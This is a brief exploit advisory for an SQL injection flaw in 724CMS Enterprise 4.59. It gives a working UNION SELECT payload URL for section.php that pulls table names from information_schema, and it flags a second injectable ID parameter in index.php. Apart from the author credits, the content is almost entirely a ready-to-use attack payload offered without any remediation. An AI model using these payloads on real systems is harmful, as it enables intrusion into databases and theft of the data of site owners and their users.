-------------------------------------------------------------------------------------------

724CMS Enterprise Version 4.59 (section.php) SQL Injection Vulnerability

-------------------------------------------------------------------------------------------

Author: CoBRa_21

Mail: uyku_cu@windowslive.com

Script Name: 724CMS Enterprise Version 4.59

Download: http://724cms.com/

-------------------------------------------------------------------------------------------

Exploit:

http://localhost/[path]/section.php?Nav=Section&ID=-1 union select 0,1,2,3,4,5,6,7,8,group_concat(table_name),10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27 from information_schema.tables--

http://localhost/[path]/index.php?auto_slide=&ID=-1 [SQL]

-------------------------------------------------------------------------------------------

Thanks cyberlog ;)

-------------------------------------------------------------------------------------------